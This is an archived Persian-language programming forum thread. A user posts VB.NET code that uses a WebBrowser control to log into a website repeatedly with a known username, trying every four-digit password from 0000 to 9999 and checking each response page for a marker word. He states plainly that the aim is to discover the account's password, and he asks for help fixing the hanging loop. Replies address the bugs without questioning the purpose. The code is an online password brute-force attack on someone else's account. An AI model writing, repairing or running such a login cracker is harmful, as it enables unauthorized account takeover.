PDA

View Full Version : کمک در رابطه با webbrowser



asopause
سه شنبه 28 اردیبهشت 1389, 17:29 عصر
ُسلام خدمت دوستان و با عرض خسته نباشید بخاطر این سایت کامل و مفید که واقعه من را
در نوشتن خیلی قسمت های برنامه ام کمک کرد


دوتا سوال داشتم در مورد برنامه ای که در زیر کدشو گذاشتم
سوال اول: اینه که چرا برنامم بعد از کلیک روی دکمه باتن1 هنگ می کنه
سوال دوم: هم اینه که چرا وقتی برنامم داده هارو در فیلد های مورد نظرم می ریزه و روی دکمه کلیک می کنه و لوگین میشه با اینکه در صفحه بعدی کلمه ای در متن به نام find استفاده شده ولی برنامه اونو تشخیص نمیده کدم اشتباه است یا ایراد هنگ برنامه؟؟؟




Dim x AsString
Dim ia AsInteger
Dim ib AsInteger
Dim ic AsInteger
Dim id AsInteger



PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
(توجه:تمام فورها درون فور مقابل قرار گرفته است) ia

For ia = 0 To 9
For ib = 0 To 9
For ic = 0 To 9
For id = 0 To 9


x = ia & ib & ic & id


WebBrowser1.Document.DomDocument.All.Item("name").value = T1.Text


DoWhile WebBrowser1.ReadyState <> WebBrowserReadyState.Complete


Loop


WebBrowser1.Document.DomDocument.All.Item("password").value = x


()WebBrowser1.Document.DomDocument.All.Item("s1").Click


If InStr(1, UCase(WebBrowser1.Document.Body.InnerText), UCase("find")) > 0 Then
MsgBox(x)
EndIf


Next id
Next ic
Next ib
Next ia


EndSub


واقعا از سایت خوبتون ممنون

barbodsoft.com
چهارشنبه 29 اردیبهشت 1389, 12:31 عصر
یکی منو کمک کنه لطفا

سلام
اولا که نحوه سوال پرسیدنت کنگ هست.

خوب من کد شما رو خوب بررسی نکردم. احتمالا حلقه for شما بینهایت باشه به همین خاطر خطا می ده.

در ضمن چون حلقه شما خیلی طولانی هست ممکنه. بخاطر اون باشه یعنی خطا نداره بلکه مدت بیشتری برای اجرای کد نیاز دارد که باید صبر کنید.


اگه کد تون رو تو تگ کد قرار بدید و یک توضیح هم راجع به کاری که می خواهید انجام بدید بفرمایید . بهتر می شه شما را راهنمایی کرد.




Do While WebBrowser1.ReadyState <> WebBrowserReadyState.Complete

Loop


کد بالا بینهایت اجرا می شه!!
به نظر کد نویسی شما از اساس غلط هست.

Hossis
چهارشنبه 29 اردیبهشت 1389, 15:00 عصر
دقيقا بگيد با اين کد مي خواهيد چکار کنيد؟؟
در اين کد بايد نام تگ رو به جاي Name بنويسيد:
DomDocument.All.Item("name").value
صحيحش اين هست
DomDocument.All.Item("Body").innertext

asopause
چهارشنبه 29 اردیبهشت 1389, 15:10 عصر
از پاسختون ممنون

ببینید من می خوام یک برنامه بسازم که توسط webbrowser یک صفحه رو باز کنه سپس فیلد یوزری که من تو برنامه دادم رو جای فیلد یوزر تو اون سایت بذاره بعد پسورد خودش که 4 کارکتری هست رو پیدا کنه و هر بار روی دکمه لوگین کلیک کنه اگه درست نبود اینقدر اینکارو ادامه بده تا پیدا شه طریقه فهمیدن اینکه لوگین شده یا نه اینکه هی جستجو کنه بینه کلمه find مثلا تو صفحه وجود داره یا نه (کلمه find هم فقط تو صفحه ورود کاربر هست ) و یعنی صفحه لوگین شده پس یک پیام بده که عدد وارد شده رو نمایش بده یعنی به این طریق می خوام پسورد پیدا کنم و یوزر هم دارم
شما می تونید بهم راهنمایی کنید که چجوری این برنامه رو بهتر بنویسم

asopause
چهارشنبه 29 اردیبهشت 1389, 15:17 عصر
دقيقا بگيد با اين کد مي خواهيد چکار کنيد؟؟
در اين کد بايد نام تگ رو به جاي Name بنويسيد:
DomDocument.All.Item("name").value
صحيحش اين هست
DomDocument.All.Item("Body").innertext

در بالای این پاسخ توضیح دادم چه برنامه ای می خوام درست کنم
نه نه اون "name" نام فیلدی هست که در اون سایت نشان گر یوزر هست اونا درسته فکر می کنم در for ها یا حلقه loop اشتباهی وجود داشته باشه ؟

asopause
چهارشنبه 29 اردیبهشت 1389, 15:21 عصر
این هم کد بین تگ و هم کل پروژه در فایل ضمیمه!!؟ ( لطفا بهم کمک کنید خیلی مهم برام از همتونم ممنون)



PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

For ia = 0 To 9
For ib = 0 To 9
For ic = 0 To 9
For id = 0 To 9

x = ia & ib & ic & id
WebBrowser1.Document.DomDocument.All.Item("name").value = T1.Text

DoWhile WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
Application.DoEvents()
Loop
WebBrowser1.Document.DomDocument.All.Item("password").value = x
WebBrowser1.Document.DomDocument.All.Item("s1").Click()
If InStr(1, UCase(WebBrowser1.Document.Body.InnerText), UCase("")) > 0 Then
MsgBox(x)
EndIf
Next id
Next ic
Next ib
Next ia

EndSub

asopause
پنج شنبه 30 اردیبهشت 1389, 14:31 عصر
اقای Hossis و barbodsoft.com لطفا جواب منو بدید منتظر جواب هستمم

asopause
جمعه 31 اردیبهشت 1389, 12:04 عصر
کمک plz?????????